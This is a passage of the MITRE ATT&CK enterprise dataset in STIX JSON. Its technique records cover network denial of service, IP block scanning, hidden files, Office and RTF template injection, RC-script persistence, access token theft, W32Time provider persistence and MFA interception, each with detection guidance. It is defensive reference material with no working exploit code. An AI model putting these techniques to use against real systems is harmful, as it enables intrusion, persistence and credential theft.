disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution, evidence of Discovery, or other unusual network traffic that may indicate additional tools transferred to the system.","x_mitre_version":"1.4","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Application Log: Application Log Content","File: File Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab","type":"attack-pattern","created":"2019-04-17T20:23:15.105Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1498","url":"https://attack.mitre.org/techniques/T1498"},{"source_name":"FireEye OpPoisonedHandover February 2016","url":"https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html","description":"Ned Moran, Mike Scott, Mike Oppenheim of FireEye. (2014, November 3). Operation Poisoned Handover: Unveiling Ties Between APT Activity in Hong Kong’s Pro-Democracy Movement. Retrieved April 18, 2019."},{"source_name":"FSISAC FraudNetDoS September 2012","url":"https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf","description":"FS-ISAC. (2012, September 17). Fraud Alert – Cyber Criminals Targeting Financial Institution Employee Credentials to Conduct Wire Transfer Fraud. Retrieved April 18, 2019."},{"source_name":"Symantec DDoS October 2014","url":"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf","description":"Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019."},{"source_name":"Cisco DoSdetectNetflow","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf","description":"Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."}],"modified":"2022-03-25T20:05:40.122Z","name":"Network Denial of Service","description":"Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"impact"}],"x_mitre_detection":"Detection of Network DoS can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an Network DoS event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Sensor Health: Host Status"],"x_mitre_impact_type":["Availability"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--db8f5003-3b20-48f0-9b76-123e44208120","type":"attack-pattern","created":"2020-10-02T16:54:23.193Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1595.001","url":"https://attack.mitre.org/techniques/T1595/001"},{"source_name":"Botnet Scan","url":"https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf","description":"Dainotti, A. et al. (2012). Analysis of a “/0” Stealth Scan from a Botnet. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:19:38.469Z","name":"Scanning IP Blocks","description":"Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.\n\nAdversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1158","url":"https://attack.mitre.org/techniques/T1158"},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"}],"modified":"2020-03-13T21:01:22.966Z","name":"Hidden Files and Directories","description":"To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls –a</code> for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Michael Raggi @aRtAGGI","Brian Wiltse @evalstrings","Patrick Campbell, @pjcampbe11"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534","type":"attack-pattern","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1221","url":"https://attack.mitre.org/techniques/T1221"},{"url":"https://docs.microsoft.com/previous-versions/office/developer/office-2007/aa338205(v=office.12)","description":"Microsoft. (2014, July 9). Introducing the Office (2007) Open XML File Formats. Retrieved July 20, 2018.","source_name":"Microsoft Open XML July 2017"},{"source_name":"SANS Brian Wiltse Template Injection","url":"https://www.sans.org/reading-room/whitepapers/testing/template-injection-attacks-bypassing-security-controls-living-land-38780","description":"Wiltse, B.. (2018, November 7). Template Injection Attacks - Bypassing Security Controls by Living off the Land. Retrieved April 10, 2019."},{"url":"http://blog.redxorblue.com/2018/07/executing-macros-from-docx-with-remote.html","description":"Hawkins, J. (2018, July 18). Executing Macros From a DOCX With Remote Template Injection. Retrieved October 12, 2018.","source_name":"Redxorblue Remote Template Injection"},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/10/decoy-microsoft-word-document-delivers-malware-through-rat/","description":"Segura, J. (2017, October 13). Decoy Microsoft Word document delivers malware through a RAT. Retrieved July 21, 2018.","source_name":"MalwareBytes Template Injection OCT 2017"},{"source_name":"Proofpoint RTF Injection","url":"https://www.proofpoint.com/us/blog/threat-insight/injection-new-black-novel-rtf-template-inject-technique-poised-widespread","description":"Raggi, M. (2021, December 1). Injection is the New Black: Novel RTF Template Inject Technique Poised for Widespread Adoption Beyond APT Actors . Retrieved December 9, 2021."},{"source_name":"Ciberseguridad Decoding malicious RTF files","url":"https://ciberseguridad.blog/decodificando-ficheros-rtf-maliciosos/","description":"Pedrero, R.. (2021, July). Decoding malicious RTF files. Retrieved November 16, 2021."},{"url":"https://forum.anomali.com/t/credential-harvesting-and-malicious-file-delivery-using-microsoft-office-template-injection/2104","description":"Intel_Acquisition_Team. (2018, March 1). Credential Harvesting and Malicious File Delivery using Microsoft Office Template Injection. Retrieved July 20, 2018.","source_name":"Anomali Template Injection MAR 2018"},{"url":"https://blog.talosintelligence.com/2017/07/template-injection.html","description":"Baird, S. et al.. (2017, July 7). Attack on Critical Infrastructure Leverages Template Injection. Retrieved July 21, 2018.","source_name":"Talos Template Injection July 2017"},{"url":"https://github.com/ryhanson/phishery","description":"Hanson, R. (2016, September 24). phishery. Retrieved July 21, 2018.","source_name":"ryhanson phishery SEPT 2016"}],"modified":"2022-01-12T18:16:56.176Z","name":"Template Injection","description":"Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx, .pptx) to replace older binary formats (.doc, .xls, .ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.(Citation: Microsoft Open XML July 2017)\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded.(Citation: SANS Brian Wiltse Template Injection) These documents can be delivered via other techniques such as [Phishing](https://attack.mitre.org/techniques/T1566) and/or [Taint Shared Content](https://attack.mitre.org/techniques/T1080) and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched.(Citation: Redxorblue Remote Template Injection) Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.(Citation: MalwareBytes Template Injection OCT 2017)\n\nAdversaries may also modify the <code>*\\template</code> control word within an .rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an .rtf file is opened. However, adversaries may alter the bytes of an existing .rtf file to insert a template control word field to include a URL resource of a malicious payload.(Citation: Proofpoint RTF Injection)(Citation: Ciberseguridad Decoding malicious RTF files)\n\nThis technique may also enable [Forced Authentication](https://attack.mitre.org/techniques/T1187) by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.(Citation: Anomali Template Injection MAR 2018)(Citation: Talos Template Injection July 2017)(Citation: ryhanson phishery SEPT 2016)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior.\n\nMonitor .rtf files for strings indicating the <code>&#42;\\template</code> control word has been modified to retrieve a URL resource, such as <code>&#42;\\template http</code> or <code>&#42;\\template \\u-</code>.","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"],"x_mitre_defense_bypassed":["Static File Analysis"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211","type":"attack-pattern","created":"2020-01-15T16:25:22.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1037.004","url":"https://attack.mitre.org/techniques/T1037/004"},{"source_name":"IranThreats Kittens Dec 2017","url":"https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/","description":"Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020."},{"description":"Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.","url":"https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/","source_name":"Intezer HiddenWasp Map 2019"},{"source_name":"intezer-kaiji-malware","url":"https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/","description":"Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."},{"source_name":"Apple Developer Doco Archive Launchd","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html","description":"Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021."},{"url":"https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html","description":"Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.","source_name":"Startup Items"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"source_name":"Ubuntu Manpage systemd rc","url":"http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html","description":"Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and        /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021."}],"modified":"2021-04-27T19:58:01.927Z","name":"RC Scripts","description":"Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system’s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to <code>rc.local</code>, <code>rc.common</code>, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for unexpected changes to RC scripts in the <code>/etc/</code> directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for <code>/etc/rc.local</code> file creation. Although types of RC scripts vary for each Unix-like distribution, several execute <code>/etc/rc.local</code> if present. ","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Command: Command Execution","Process: Process Creation","File: File Modification"],"x_mitre_permissions_required":["root"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Tom Ueltschi @c_APT_ure","Travis Smith, Tripwire","Robby Winchester, @robwinchester3","Jared Atkinson, @jaredcatkinson"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1134","url":"https://attack.mitre.org/techniques/T1134"},{"external_id":"CAPEC-633","source_name":"capec","url":"https://capec.mitre.org/data/definitions/633.html"},{"url":"https://pentestlab.blog/2017/04/03/token-manipulation/","description":"netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.","source_name":"Pentestlab Token Manipulation"},{"url":"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing","description":"Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.","source_name":"Microsoft Command-line Logging"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","source_name":"Microsoft LogonUser"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","source_name":"Microsoft DuplicateTokenEx"},{"url":"https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx","description":"Microsoft TechNet. (n.d.). Retrieved April 25, 2017.","source_name":"Microsoft ImpersonateLoggedOnUser"},{"url":"https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf","description":"Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.","source_name":"BlackHat Atkinson Winchester Token Manipulation"}],"modified":"2021-10-17T14:51:49.334Z","name":"Access Token Manipulation","description":"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.\n\nAn adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.","x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Active Directory: Active Directory Object Modification","Command: Command Execution","Process: Process Creation","Process: Process Metadata","Process: OS API Execution","User Account: User Account Metadata"],"x_mitre_defense_bypassed":["Windows User Account Control","System access controls","File system access controls","Heuristic Detection","Host forensic analysis"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_effective_permissions":["SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Scott Lundgren, @5twenty9, Carbon Black"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1209","url":"https://attack.mitre.org/techniques/T1209"},{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top","description":"Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.","source_name":"Microsoft W32Time Feb 2018"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx","description":"Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.","source_name":"Microsoft TimeProvider"},{"url":"https://github.com/scottlundgren/w32time","description":"Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.","source_name":"Github W32Time Oct 2017"},{"url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","source_name":"Microsoft W32Time May 2017"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-01-24T16:48:50.715Z","name":"Time Providers","description":"The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of  <code>HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["John Lambert, Microsoft Threat Intelligence Center"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","type":"attack-pattern","created":"2017-05-31T21:31:23.195Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1111","url":"https://attack.mitre.org/techniques/T1111"},{"url":"https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf","description":"Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.","source_name":"Mandiant M Trends 2011"},{"url":"https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx","description":"Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.","source_name":"GCN RSA June 2011"},{"url":"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf","description":"Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.","source_name":"Operation Emmental"}],"modified":"2022-04-01T18:02:50.531Z","name":"Multi-Factor Authentication Interception","description":"Adversaries may target multi-factor authentication (MFA) mechanisms, (I.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it 